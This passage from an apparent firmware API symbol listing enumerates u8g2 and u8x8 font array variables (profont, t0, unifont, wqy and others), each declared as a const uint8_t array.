uint8_t[], -Variable,-,u8g2_font_profont22_mn,const uint8_t[], -Variable,-,u8g2_font_profont22_mr,const uint8_t[], -Variable,-,u8g2_font_profont22_tf,const uint8_t[], -Variable,-,u8g2_font_profont22_tn,const uint8_t[], -Variable,-,u8g2_font_profont22_tr,const uint8_t[], -Variable,-,u8g2_font_profont29_mf,const uint8_t[], -Variable,-,u8g2_font_profont29_mn,const uint8_t[], -Variable,-,u8g2_font_profont29_mr,const uint8_t[], -Variable,-,u8g2_font_profont29_tf,const uint8_t[], -Variable,-,u8g2_font_profont29_tn,const uint8_t[], -Variable,-,u8g2_font_profont29_tr,const uint8_t[], -Variable,-,u8g2_font_prospero_bold_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_prospero_bold_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_prospero_bold_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_prospero_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_prospero_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_prospero_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_px437wyse700a_mf,const uint8_t[], -Variable,-,u8g2_font_px437wyse700a_mn,const uint8_t[], -Variable,-,u8g2_font_px437wyse700a_mr,const uint8_t[], -Variable,-,u8g2_font_px437wyse700a_tf,const uint8_t[], -Variable,-,u8g2_font_px437wyse700a_tn,const uint8_t[], -Variable,-,u8g2_font_px437wyse700a_tr,const uint8_t[], -Variable,-,u8g2_font_px437wyse700b_mf,const uint8_t[], -Variable,-,u8g2_font_px437wyse700b_mn,const uint8_t[], -Variable,-,u8g2_font_px437wyse700b_mr,const uint8_t[], -Variable,-,u8g2_font_px437wyse700b_tf,const uint8_t[], -Variable,-,u8g2_font_px437wyse700b_tn,const uint8_t[], -Variable,-,u8g2_font_px437wyse700b_tr,const uint8_t[], -Variable,-,u8g2_font_pxplusibmcga_8f,const uint8_t[], -Variable,-,u8g2_font_pxplusibmcga_8n,const uint8_t[], -Variable,-,u8g2_font_pxplusibmcga_8r,const uint8_t[], -Variable,-,u8g2_font_pxplusibmcga_8u,const uint8_t[], -Variable,-,u8g2_font_pxplusibmcgathin_8f,const uint8_t[], -Variable,-,u8g2_font_pxplusibmcgathin_8n,const uint8_t[], -Variable,-,u8g2_font_pxplusibmcgathin_8r,const uint8_t[], -Variable,-,u8g2_font_pxplusibmcgathin_8u,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga8_m_all,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga8_mf,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga8_mn,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga8_mr,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga8_t_all,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga8_tf,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga8_tn,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga8_tr,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga9_m_all,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga9_mf,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga9_mn,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga9_mr,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga9_t_all,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga9_tf,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga9_tn,const uint8_t[], -Variable,-,u8g2_font_pxplusibmvga9_tr,const uint8_t[], -Variable,-,u8g2_font_pxplustandynewtv_8_all,const uint8_t[], -Variable,-,u8g2_font_pxplustandynewtv_8f,const uint8_t[], -Variable,-,u8g2_font_pxplustandynewtv_8n,const uint8_t[], -Variable,-,u8g2_font_pxplustandynewtv_8r,const uint8_t[], -Variable,-,u8g2_font_pxplustandynewtv_8u,const uint8_t[], -Variable,-,u8g2_font_pxplustandynewtv_t_all,const uint8_t[], -Variable,-,u8g2_font_questgiver_tr,const uint8_t[], -Variable,-,u8g2_font_repress_mel_tn,const uint8_t[], -Variable,-,u8g2_font_repress_mel_tr,const uint8_t[], -Variable,-,u8g2_font_robot_de_niro_tf,const uint8_t[], -Variable,-,u8g2_font_robot_de_niro_tn,const uint8_t[], -Variable,-,u8g2_font_robot_de_niro_tr,const uint8_t[], -Variable,-,u8g2_font_roentgen_nbp_h_all,const uint8_t[], -Variable,-,u8g2_font_roentgen_nbp_t_all,const uint8_t[], -Variable,-,u8g2_font_roentgen_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_roentgen_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_roentgen_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_rosencrantz_nbp_t_all,const uint8_t[], -Variable,-,u8g2_font_rosencrantz_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_rosencrantz_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_rosencrantz_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_saikyosansbold8_8n,const uint8_t[], -Variable,-,u8g2_font_saikyosansbold8_8u,const uint8_t[], -Variable,-,u8g2_font_samim_10_t_all,const uint8_t[], -Variable,-,u8g2_font_samim_12_t_all,const uint8_t[], -Variable,-,u8g2_font_samim_14_t_all,const uint8_t[], -Variable,-,u8g2_font_samim_16_t_all,const uint8_t[], -Variable,-,u8g2_font_samim_fd_10_t_all,const uint8_t[], -Variable,-,u8g2_font_samim_fd_12_t_all,const uint8_t[], -Variable,-,u8g2_font_samim_fd_14_t_all,const uint8_t[], -Variable,-,u8g2_font_samim_fd_16_t_all,const uint8_t[], -Variable,-,u8g2_font_sandyforest_tn,const uint8_t[], -Variable,-,u8g2_font_sandyforest_tr,const uint8_t[], -Variable,-,u8g2_font_sandyforest_tu,const uint8_t[], -Variable,-,u8g2_font_secretaryhand_t_all,const uint8_t[], -Variable,-,u8g2_font_secretaryhand_tf,const uint8_t[], -Variable,-,u8g2_font_secretaryhand_tn,const uint8_t[], -Variable,-,u8g2_font_secretaryhand_tr,const uint8_t[], -Variable,-,u8g2_font_seraphimb1_tr,const uint8_t[], -Variable,-,u8g2_font_shylock_nbp_t_all,const uint8_t[], -Variable,-,u8g2_font_shylock_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_shylock_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_shylock_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_siji_t_6x10,const uint8_t[], -Variable,-,u8g2_font_sirclive_tn,const uint8_t[], -Variable,-,u8g2_font_sirclive_tr,const uint8_t[], -Variable,-,u8g2_font_sirclivethebold_tn,const uint8_t[], -Variable,-,u8g2_font_sirclivethebold_tr,const uint8_t[], -Variable,-,u8g2_font_smart_patrol_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_smart_patrol_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_smart_patrol_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_squirrel_tn,const uint8_t[], -Variable,-,u8g2_font_squirrel_tr,const uint8_t[], -Variable,-,u8g2_font_squirrel_tu,const uint8_t[], -Variable,-,u8g2_font_sticker_mel_tn,const uint8_t[], -Variable,-,u8g2_font_sticker_mel_tr,const uint8_t[], -Variable,-,u8g2_font_synchronizer_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_synchronizer_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_synchronizer_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_t0_11_me,const uint8_t[], -Variable,-,u8g2_font_t0_11_mf,const uint8_t[], -Variable,-,u8g2_font_t0_11_mn,const uint8_t[], -Variable,-,u8g2_font_t0_11_mr,const uint8_t[], -Variable,-,u8g2_font_t0_11_t_all,const uint8_t[], -Variable,-,u8g2_font_t0_11_te,const uint8_t[], -Variable,-,u8g2_font_t0_11_tf,const uint8_t[], -Variable,-,u8g2_font_t0_11_tn,const uint8_t[], -Variable,-,u8g2_font_t0_11_tr,const uint8_t[], -Variable,-,u8g2_font_t0_11b_me,const uint8_t[], -Variable,-,u8g2_font_t0_11b_mf,const uint8_t[], -Variable,-,u8g2_font_t0_11b_mn,const uint8_t[], -Variable,-,u8g2_font_t0_11b_mr,const uint8_t[], -Variable,-,u8g2_font_t0_11b_te,const uint8_t[], -Variable,-,u8g2_font_t0_11b_tf,const uint8_t[], -Variable,-,u8g2_font_t0_11b_tn,const uint8_t[], -Variable,-,u8g2_font_t0_11b_tr,const uint8_t[], -Variable,-,u8g2_font_t0_12_me,const uint8_t[], -Variable,-,u8g2_font_t0_12_mf,const uint8_t[], -Variable,-,u8g2_font_t0_12_mn,const uint8_t[], -Variable,-,u8g2_font_t0_12_mr,const uint8_t[], -Variable,-,u8g2_font_t0_12_te,const uint8_t[], -Variable,-,u8g2_font_t0_12_tf,const uint8_t[], -Variable,-,u8g2_font_t0_12_tn,const uint8_t[], -Variable,-,u8g2_font_t0_12_tr,const uint8_t[], -Variable,-,u8g2_font_t0_12b_me,const uint8_t[], -Variable,-,u8g2_font_t0_12b_mf,const uint8_t[], -Variable,-,u8g2_font_t0_12b_mn,const uint8_t[], -Variable,-,u8g2_font_t0_12b_mr,const uint8_t[], -Variable,-,u8g2_font_t0_12b_te,const uint8_t[], -Variable,-,u8g2_font_t0_12b_tf,const uint8_t[], -Variable,-,u8g2_font_t0_12b_tn,const uint8_t[], -Variable,-,u8g2_font_t0_12b_tr,const uint8_t[], -Variable,-,u8g2_font_t0_13_me,const uint8_t[], -Variable,-,u8g2_font_t0_13_mf,const uint8_t[], -Variable,-,u8g2_font_t0_13_mn,const uint8_t[], -Variable,-,u8g2_font_t0_13_mr,const uint8_t[], -Variable,-,u8g2_font_t0_13_te,const uint8_t[], -Variable,-,u8g2_font_t0_13_tf,const uint8_t[], -Variable,-,u8g2_font_t0_13_tn,const uint8_t[], -Variable,-,u8g2_font_t0_13_tr,const uint8_t[], -Variable,-,u8g2_font_t0_13b_me,const uint8_t[], -Variable,-,u8g2_font_t0_13b_mf,const uint8_t[], -Variable,-,u8g2_font_t0_13b_mn,const uint8_t[], -Variable,-,u8g2_font_t0_13b_mr,const uint8_t[], -Variable,-,u8g2_font_t0_13b_te,const uint8_t[], -Variable,-,u8g2_font_t0_13b_tf,const uint8_t[], -Variable,-,u8g2_font_t0_13b_tn,const uint8_t[], -Variable,-,u8g2_font_t0_13b_tr,const uint8_t[], -Variable,-,u8g2_font_t0_14_me,const uint8_t[], -Variable,-,u8g2_font_t0_14_mf,const uint8_t[], -Variable,-,u8g2_font_t0_14_mn,const uint8_t[], -Variable,-,u8g2_font_t0_14_mr,const uint8_t[], -Variable,-,u8g2_font_t0_14_te,const uint8_t[], -Variable,-,u8g2_font_t0_14_tf,const uint8_t[], -Variable,-,u8g2_font_t0_14_tn,const uint8_t[], -Variable,-,u8g2_font_t0_14_tr,const uint8_t[], -Variable,-,u8g2_font_t0_14b_me,const uint8_t[], -Variable,-,u8g2_font_t0_14b_mf,const uint8_t[], -Variable,-,u8g2_font_t0_14b_mn,const uint8_t[], -Variable,-,u8g2_font_t0_14b_mr,const uint8_t[], -Variable,-,u8g2_font_t0_14b_te,const uint8_t[], -Variable,-,u8g2_font_t0_14b_tf,const uint8_t[], -Variable,-,u8g2_font_t0_14b_tn,const uint8_t[], -Variable,-,u8g2_font_t0_14b_tr,const uint8_t[], -Variable,-,u8g2_font_t0_15_me,const uint8_t[], -Variable,-,u8g2_font_t0_15_mf,const uint8_t[], -Variable,-,u8g2_font_t0_15_mn,const uint8_t[], -Variable,-,u8g2_font_t0_15_mr,const uint8_t[], -Variable,-,u8g2_font_t0_15_te,const uint8_t[], -Variable,-,u8g2_font_t0_15_tf,const uint8_t[], -Variable,-,u8g2_font_t0_15_tn,const uint8_t[], -Variable,-,u8g2_font_t0_15_tr,const uint8_t[], -Variable,-,u8g2_font_t0_15b_me,const uint8_t[], -Variable,-,u8g2_font_t0_15b_mf,const uint8_t[], -Variable,-,u8g2_font_t0_15b_mn,const uint8_t[], -Variable,-,u8g2_font_t0_15b_mr,const uint8_t[], -Variable,-,u8g2_font_t0_15b_te,const uint8_t[], -Variable,-,u8g2_font_t0_15b_tf,const uint8_t[], -Variable,-,u8g2_font_t0_15b_tn,const uint8_t[], -Variable,-,u8g2_font_t0_15b_tr,const uint8_t[], -Variable,-,u8g2_font_t0_16_me,const uint8_t[], -Variable,-,u8g2_font_t0_16_mf,const uint8_t[], -Variable,-,u8g2_font_t0_16_mn,const uint8_t[], -Variable,-,u8g2_font_t0_16_mr,const uint8_t[], -Variable,-,u8g2_font_t0_16_te,const uint8_t[], -Variable,-,u8g2_font_t0_16_tf,const uint8_t[], -Variable,-,u8g2_font_t0_16_tn,const uint8_t[], -Variable,-,u8g2_font_t0_16_tr,const uint8_t[], -Variable,-,u8g2_font_t0_16b_me,const uint8_t[], -Variable,-,u8g2_font_t0_16b_mf,const uint8_t[], -Variable,-,u8g2_font_t0_16b_mn,const uint8_t[], -Variable,-,u8g2_font_t0_16b_mr,const uint8_t[], -Variable,-,u8g2_font_t0_16b_te,const uint8_t[], -Variable,-,u8g2_font_t0_16b_tf,const uint8_t[], -Variable,-,u8g2_font_t0_16b_tn,const uint8_t[], -Variable,-,u8g2_font_t0_16b_tr,const uint8_t[], -Variable,-,u8g2_font_t0_17_me,const uint8_t[], -Variable,-,u8g2_font_t0_17_mf,const uint8_t[], -Variable,-,u8g2_font_t0_17_mn,const uint8_t[], -Variable,-,u8g2_font_t0_17_mr,const uint8_t[], -Variable,-,u8g2_font_t0_17_te,const uint8_t[], -Variable,-,u8g2_font_t0_17_tf,const uint8_t[], -Variable,-,u8g2_font_t0_17_tn,const uint8_t[], -Variable,-,u8g2_font_t0_17_tr,const uint8_t[], -Variable,-,u8g2_font_t0_17b_me,const uint8_t[], -Variable,-,u8g2_font_t0_17b_mf,const uint8_t[], -Variable,-,u8g2_font_t0_17b_mn,const uint8_t[], -Variable,-,u8g2_font_t0_17b_mr,const uint8_t[], -Variable,-,u8g2_font_t0_17b_te,const uint8_t[], -Variable,-,u8g2_font_t0_17b_tf,const uint8_t[], -Variable,-,u8g2_font_t0_17b_tn,const uint8_t[], -Variable,-,u8g2_font_t0_17b_tr,const uint8_t[], -Variable,-,u8g2_font_t0_18_me,const uint8_t[], -Variable,-,u8g2_font_t0_18_mf,const uint8_t[], -Variable,-,u8g2_font_t0_18_mn,const uint8_t[], -Variable,-,u8g2_font_t0_18_mr,const uint8_t[], -Variable,-,u8g2_font_t0_18_te,const uint8_t[], -Variable,-,u8g2_font_t0_18_tf,const uint8_t[], -Variable,-,u8g2_font_t0_18_tn,const uint8_t[], -Variable,-,u8g2_font_t0_18_tr,const uint8_t[], -Variable,-,u8g2_font_t0_18b_me,const uint8_t[], -Variable,-,u8g2_font_t0_18b_mf,const uint8_t[], -Variable,-,u8g2_font_t0_18b_mn,const uint8_t[], -Variable,-,u8g2_font_t0_18b_mr,const uint8_t[], -Variable,-,u8g2_font_t0_18b_te,const uint8_t[], -Variable,-,u8g2_font_t0_18b_tf,const uint8_t[], -Variable,-,u8g2_font_t0_18b_tn,const uint8_t[], -Variable,-,u8g2_font_t0_18b_tr,const uint8_t[], -Variable,-,u8g2_font_t0_22_me,const uint8_t[], -Variable,-,u8g2_font_t0_22_mf,const uint8_t[], -Variable,-,u8g2_font_t0_22_mn,const uint8_t[], -Variable,-,u8g2_font_t0_22_mr,const uint8_t[], -Variable,-,u8g2_font_t0_22_te,const uint8_t[], -Variable,-,u8g2_font_t0_22_tf,const uint8_t[], -Variable,-,u8g2_font_t0_22_tn,const uint8_t[], -Variable,-,u8g2_font_t0_22_tr,const uint8_t[], -Variable,-,u8g2_font_t0_22b_me,const uint8_t[], -Variable,-,u8g2_font_t0_22b_mf,const uint8_t[], -Variable,-,u8g2_font_t0_22b_mn,const uint8_t[], -Variable,-,u8g2_font_t0_22b_mr,const uint8_t[], -Variable,-,u8g2_font_t0_22b_te,const uint8_t[], -Variable,-,u8g2_font_t0_22b_tf,const uint8_t[], -Variable,-,u8g2_font_t0_22b_tn,const uint8_t[], -Variable,-,u8g2_font_t0_22b_tr,const uint8_t[], -Variable,-,u8g2_font_tallpix_tr,const uint8_t[], -Variable,-,u8g2_font_tenfatguys_t_all,const uint8_t[], -Variable,-,u8g2_font_tenfatguys_tf,const uint8_t[], -Variable,-,u8g2_font_tenfatguys_tn,const uint8_t[], -Variable,-,u8g2_font_tenfatguys_tr,const uint8_t[], -Variable,-,u8g2_font_tenfatguys_tu,const uint8_t[], -Variable,-,u8g2_font_tenstamps_mf,const uint8_t[], -Variable,-,u8g2_font_tenstamps_mn,const uint8_t[], -Variable,-,u8g2_font_tenstamps_mr,const uint8_t[], -Variable,-,u8g2_font_tenstamps_mu,const uint8_t[], -Variable,-,u8g2_font_tenthinguys_t_all,const uint8_t[], -Variable,-,u8g2_font_tenthinguys_tf,const uint8_t[], -Variable,-,u8g2_font_tenthinguys_tn,const uint8_t[], -Variable,-,u8g2_font_tenthinguys_tr,const uint8_t[], -Variable,-,u8g2_font_tenthinguys_tu,const uint8_t[], -Variable,-,u8g2_font_tenthinnerguys_t_all,const uint8_t[], -Variable,-,u8g2_font_tenthinnerguys_tf,const uint8_t[], -Variable,-,u8g2_font_tenthinnerguys_tn,const uint8_t[], -Variable,-,u8g2_font_tenthinnerguys_tr,const uint8_t[], -Variable,-,u8g2_font_tenthinnerguys_tu,const uint8_t[], -Variable,-,u8g2_font_timB08_tf,const uint8_t[], -Variable,-,u8g2_font_timB08_tn,const uint8_t[], -Variable,-,u8g2_font_timB08_tr,const uint8_t[], -Variable,-,u8g2_font_timB10_tf,const uint8_t[], -Variable,-,u8g2_font_timB10_tn,const uint8_t[], -Variable,-,u8g2_font_timB10_tr,const uint8_t[], -Variable,-,u8g2_font_timB12_tf,const uint8_t[], -Variable,-,u8g2_font_timB12_tn,const uint8_t[], -Variable,-,u8g2_font_timB12_tr,const uint8_t[], -Variable,-,u8g2_font_timB14_tf,const uint8_t[], -Variable,-,u8g2_font_timB14_tn,const uint8_t[], -Variable,-,u8g2_font_timB14_tr,const uint8_t[], -Variable,-,u8g2_font_timB18_tf,const uint8_t[], -Variable,-,u8g2_font_timB18_tn,const uint8_t[], -Variable,-,u8g2_font_timB18_tr,const uint8_t[], -Variable,-,u8g2_font_timB24_tf,const uint8_t[], -Variable,-,u8g2_font_timB24_tn,const uint8_t[], -Variable,-,u8g2_font_timB24_tr,const uint8_t[], -Variable,-,u8g2_font_timR08_tf,const uint8_t[], -Variable,-,u8g2_font_timR08_tn,const uint8_t[], -Variable,-,u8g2_font_timR08_tr,const uint8_t[], -Variable,-,u8g2_font_timR10_tf,const uint8_t[], -Variable,-,u8g2_font_timR10_tn,const uint8_t[], -Variable,-,u8g2_font_timR10_tr,const uint8_t[], -Variable,-,u8g2_font_timR12_tf,const uint8_t[], -Variable,-,u8g2_font_timR12_tn,const uint8_t[], -Variable,-,u8g2_font_timR12_tr,const uint8_t[], -Variable,-,u8g2_font_timR14_tf,const uint8_t[], -Variable,-,u8g2_font_timR14_tn,const uint8_t[], -Variable,-,u8g2_font_timR14_tr,const uint8_t[], -Variable,-,u8g2_font_timR18_tf,const uint8_t[], -Variable,-,u8g2_font_timR18_tn,const uint8_t[], -Variable,-,u8g2_font_timR18_tr,const uint8_t[], -Variable,-,u8g2_font_timR24_tf,const uint8_t[], -Variable,-,u8g2_font_timR24_tn,const uint8_t[], -Variable,-,u8g2_font_timR24_tr,const uint8_t[], -Variable,-,u8g2_font_tinytim_tf,const uint8_t[], -Variable,-,u8g2_font_tinytim_tn,const uint8_t[], -Variable,-,u8g2_font_tinytim_tr,const uint8_t[], -Variable,-,u8g2_font_tom_thumb_4x6_me,const uint8_t[], -Variable,-,u8g2_font_tom_thumb_4x6_mf,const uint8_t[], -Variable,-,u8g2_font_tom_thumb_4x6_mn,const uint8_t[], -Variable,-,u8g2_font_tom_thumb_4x6_mr,const uint8_t[], -Variable,-,u8g2_font_tom_thumb_4x6_t_all,const uint8_t[], -Variable,-,u8g2_font_tom_thumb_4x6_te,const uint8_t[], -Variable,-,u8g2_font_tom_thumb_4x6_tf,const uint8_t[], -Variable,-,u8g2_font_tom_thumb_4x6_tn,const uint8_t[], -Variable,-,u8g2_font_tom_thumb_4x6_tr,const uint8_t[], -Variable,-,u8g2_font_tooseornament_tf,const uint8_t[], -Variable,-,u8g2_font_tooseornament_tn,const uint8_t[], -Variable,-,u8g2_font_tooseornament_tr,const uint8_t[], -Variable,-,u8g2_font_torussansbold8_8n,const uint8_t[], -Variable,-,u8g2_font_torussansbold8_8r,const uint8_t[], -Variable,-,u8g2_font_torussansbold8_8u,const uint8_t[], -Variable,-,u8g2_font_trixel_square_tf,const uint8_t[], -Variable,-,u8g2_font_trixel_square_tn,const uint8_t[], -Variable,-,u8g2_font_trixel_square_tr,const uint8_t[], -Variable,-,u8g2_font_twelvedings_t_all,const uint8_t[], -Variable,-,u8g2_font_u8glib_4_hf,const uint8_t[], -Variable,-,u8g2_font_u8glib_4_hr,const uint8_t[], -Variable,-,u8g2_font_u8glib_4_tf,const uint8_t[], -Variable,-,u8g2_font_u8glib_4_tr,const uint8_t[], -Variable,-,u8g2_font_unifont_h_symbols,const uint8_t[], -Variable,-,u8g2_font_unifont_t_0_72_73,const uint8_t[], -Variable,-,u8g2_font_unifont_t_0_75,const uint8_t[], -Variable,-,u8g2_font_unifont_t_0_76,const uint8_t[], -Variable,-,u8g2_font_unifont_t_0_77,const uint8_t[], -Variable,-,u8g2_font_unifont_t_0_78_79,const uint8_t[], -Variable,-,u8g2_font_unifont_t_0_86,const uint8_t[], -Variable,-,u8g2_font_unifont_t_72_73,const uint8_t[], -Variable,-,u8g2_font_unifont_t_75,const uint8_t[], -Variable,-,u8g2_font_unifont_t_76,const uint8_t[], -Variable,-,u8g2_font_unifont_t_77,const uint8_t[], -Variable,-,u8g2_font_unifont_t_78_79,const uint8_t[], -Variable,-,u8g2_font_unifont_t_86,const uint8_t[], -Variable,-,u8g2_font_unifont_t_animals,const uint8_t[], -Variable,-,u8g2_font_unifont_t_arabic,const uint8_t[], -Variable,-,u8g2_font_unifont_t_bengali,const uint8_t[], -Variable,-,u8g2_font_unifont_t_cards,const uint8_t[], -Variable,-,u8g2_font_unifont_t_chinese1,const uint8_t[], -Variable,-,u8g2_font_unifont_t_chinese2,const uint8_t[], -Variable,-,u8g2_font_unifont_t_chinese3,const uint8_t[], -Variable,-,u8g2_font_unifont_t_cyrillic,const uint8_t[], -Variable,-,u8g2_font_unifont_t_devanagari,const uint8_t[], -Variable,-,u8g2_font_unifont_t_domino,const uint8_t[], -Variable,-,u8g2_font_unifont_t_emoticons,const uint8_t[], -Variable,-,u8g2_font_unifont_t_extended,const uint8_t[], -Variable,-,u8g2_font_unifont_t_greek,const uint8_t[], -Variable,-,u8g2_font_unifont_t_hebrew,const uint8_t[], -Variable,-,u8g2_font_unifont_t_japanese1,const uint8_t[], -Variable,-,u8g2_font_unifont_t_japanese2,const uint8_t[], -Variable,-,u8g2_font_unifont_t_japanese3,const uint8_t[], -Variable,-,u8g2_font_unifont_t_korean1,const uint8_t[], -Variable,-,u8g2_font_unifont_t_korean2,const uint8_t[], -Variable,-,u8g2_font_unifont_t_latin,const uint8_t[], -Variable,-,u8g2_font_unifont_t_polish,const uint8_t[], -Variable,-,u8g2_font_unifont_t_symbols,const uint8_t[], -Variable,-,u8g2_font_unifont_t_tibetan,const uint8_t[], -Variable,-,u8g2_font_unifont_t_urdu,const uint8_t[], -Variable,-,u8g2_font_unifont_t_vietnamese1,const uint8_t[], -Variable,-,u8g2_font_unifont_t_vietnamese2,const uint8_t[], -Variable,-,u8g2_font_unifont_t_weather,const uint8_t[], -Variable,-,u8g2_font_unifont_te,const uint8_t[], -Variable,-,u8g2_font_unifont_tf,const uint8_t[], -Variable,-,u8g2_font_unifont_tr,const uint8_t[], -Variable,-,u8g2_font_victoriabold8_8n,const uint8_t[], -Variable,-,u8g2_font_victoriabold8_8r,const uint8_t[], -Variable,-,u8g2_font_victoriabold8_8u,const uint8_t[], -Variable,-,u8g2_font_victoriamedium8_8n,const uint8_t[], -Variable,-,u8g2_font_victoriamedium8_8r,const uint8_t[], -Variable,-,u8g2_font_victoriamedium8_8u,const uint8_t[], -Variable,-,u8g2_font_wqy12_t_chinese1,const uint8_t[], -Variable,-,u8g2_font_wqy12_t_chinese2,const uint8_t[], -Variable,-,u8g2_font_wqy12_t_chinese3,const uint8_t[], -Variable,-,u8g2_font_wqy12_t_gb2312,const uint8_t[], -Variable,-,u8g2_font_wqy12_t_gb2312a,const uint8_t[], -Variable,-,u8g2_font_wqy12_t_gb2312b,const uint8_t[], -Variable,-,u8g2_font_wqy13_t_chinese1,const uint8_t[], -Variable,-,u8g2_font_wqy13_t_chinese2,const uint8_t[], -Variable,-,u8g2_font_wqy13_t_chinese3,const uint8_t[], -Variable,-,u8g2_font_wqy13_t_gb2312,const uint8_t[], -Variable,-,u8g2_font_wqy13_t_gb2312a,const uint8_t[], -Variable,-,u8g2_font_wqy13_t_gb2312b,const uint8_t[], -Variable,-,u8g2_font_wqy14_t_chinese1,const uint8_t[], -Variable,-,u8g2_font_wqy14_t_chinese2,const uint8_t[], -Variable,-,u8g2_font_wqy14_t_chinese3,const uint8_t[], -Variable,-,u8g2_font_wqy14_t_gb2312,const uint8_t[], -Variable,-,u8g2_font_wqy14_t_gb2312a,const uint8_t[], -Variable,-,u8g2_font_wqy14_t_gb2312b,const uint8_t[], -Variable,-,u8g2_font_wqy15_t_chinese1,const uint8_t[], -Variable,-,u8g2_font_wqy15_t_chinese2,const uint8_t[], -Variable,-,u8g2_font_wqy15_t_chinese3,const uint8_t[], -Variable,-,u8g2_font_wqy15_t_gb2312,const uint8_t[], -Variable,-,u8g2_font_wqy15_t_gb2312a,const uint8_t[], -Variable,-,u8g2_font_wqy15_t_gb2312b,const uint8_t[], -Variable,-,u8g2_font_wqy16_t_chinese1,const uint8_t[], -Variable,-,u8g2_font_wqy16_t_chinese2,const uint8_t[], -Variable,-,u8g2_font_wqy16_t_chinese3,const uint8_t[], -Variable,-,u8g2_font_wqy16_t_gb2312,const uint8_t[], -Variable,-,u8g2_font_wqy16_t_gb2312a,const uint8_t[], -Variable,-,u8g2_font_wqy16_t_gb2312b,const uint8_t[], -Variable,-,u8x8_font_5x7_f,const uint8_t[], -Variable,-,u8x8_font_5x7_n,const uint8_t[], -Variable,-,u8x8_font_5x7_r,const uint8_t[], -Variable,-,u8x8_font_5x8_f,const uint8_t[], -Variable,-,u8x8_font_5x8_n,const uint8_t[], -Variable,-,u8x8_font_5x8_r,const uint8_t[], -Variable,-,u8x8_font_7x14B_1x2_f,const uint8_t[], -Variable,-,u8x8_font_7x14B_1x2_n,const uint8_t[], -Variable,-,u8x8_font_7x14B_1x2_r,const uint8_t[], -Variable,-,u8x8_font_7x14_1x2_f,const uint8_t[], -Variable,-,u8x8_font_7x14_1x2_n,const uint8_t[], -Variable,-,u8x8_font_7x14_1x2_r,const uint8_t[], -Variable,-,u8x8_font_8x13B_1x2_f,const uint8_t[], -Variable,-,u8x8_font_8x13B_1x2_n,const uint8_t[], -Variable,-,u8x8_font_8x13B_1x2_r,const uint8_t[], -Variable,-,u8x8_font_8x13_1x2_f,const uint8_t[], -Variable,-,u8x8_font_8x13_1x2_n,const uint8_t[], -Variable,-,u8x8_font_8x13_1x2_r,const uint8_t[], -Variable,-,u8x8_font_amstrad_cpc_extended_f,const uint8_t[], -Variable,-,u8x8_font_amstrad_cpc_extended_n,const uint8_t[], -Variable,-,u8x8_font_amstrad_cpc_extended_r,const uint8_t[], -Variable,-,u8x8_font_amstrad_cpc_extended_u,const uint8_t[], -Variable,-,u8x8_font_artossans8_n,const uint8_t[], -Variable,-,u8x8_font_artossans8_r,const uint8_t[], -Variable,-,u8x8_font_artossans8_u,const uint8_t[], -Variable,-,u8x8_font_artosserif8_n,const uint8_t[], -Variable,-,u8x8_font_artosserif8_r,const uint8_t[], -Variable,-,u8x8_font_artosserif8_u,const uint8_t[], -Variable,-,u8x8_font_chroma48medium8_n,const uint8_t[], -Variable,-,u8x8_font_chroma48medium8_r,const uint8_t[], -Variable,-,u8x8_font_chroma48medium8_u,const uint8_t[], -Variable,-,u8x8_font_courB18_2x3_f,const uint8_t[], -Variable,-,u8x8_font_courB18_2x3_n,const uint8_t[], -Variable,-,u8x8_font_courB18_2x3_r,const uint8_t[], -Variable,-,u8x8_font_courB24_3x4_f,const uint8_t[], -Variable,-,u8x8_font_courB24_3x4_n,const uint8_t[], -Variable,-,u8x8_font_courB24_3x4_r,const uint8_t[], -Variable,-,u8x8_font_courR18_2x3_f,const uint8_t[], -Variable,-,u8x8_font_courR18_2x3_n,const uint8_t[], -Variable,-,u8x8_font_courR18_2x3_r,const uint8_t[], -Variable,-,u8x8_font_courR24_3x4_f,const uint8_t[], -Variable,-,u8x8_font_courR24_3x4_n,const uint8_t[], -Variable,-,u8x8_font_courR24_3x4_r,const uint8_t[], -Variable,-,u8x8_font_inb21_2x4_f,const uint8_t[], -Variable,-,u8x8_font_inb21_2x4_n,const uint8_t[], -Variable,-,u8x8_font_inb21_2x4_r,const uint8_t[], -Variable,-,u8x8_font_inb33_3x6_f,const uint8_t[], -Variable,-,u8x8_font_inb33_3x6_n,const uint8_t[], -Variable,-,u8x8_font_inb33_3x6_r,const uint8_t[], -Variable,-,u8x8_font_inb46_4x8_f,const uint8_t[], -Variable,-,u8x8_font_inb46_4x8_n,const uint8_t[], -Variable,-,u8x8_font_inb46_4x8_r,const uint8_t[], -Variable,-,u8x8_font_inr21_2x4_f,const uint8_t[], -Variable,-,u8x8_font_inr21_2x4_n,const uint8_t[], -Variable,-,u8x8_font_inr21_2x4_r,const 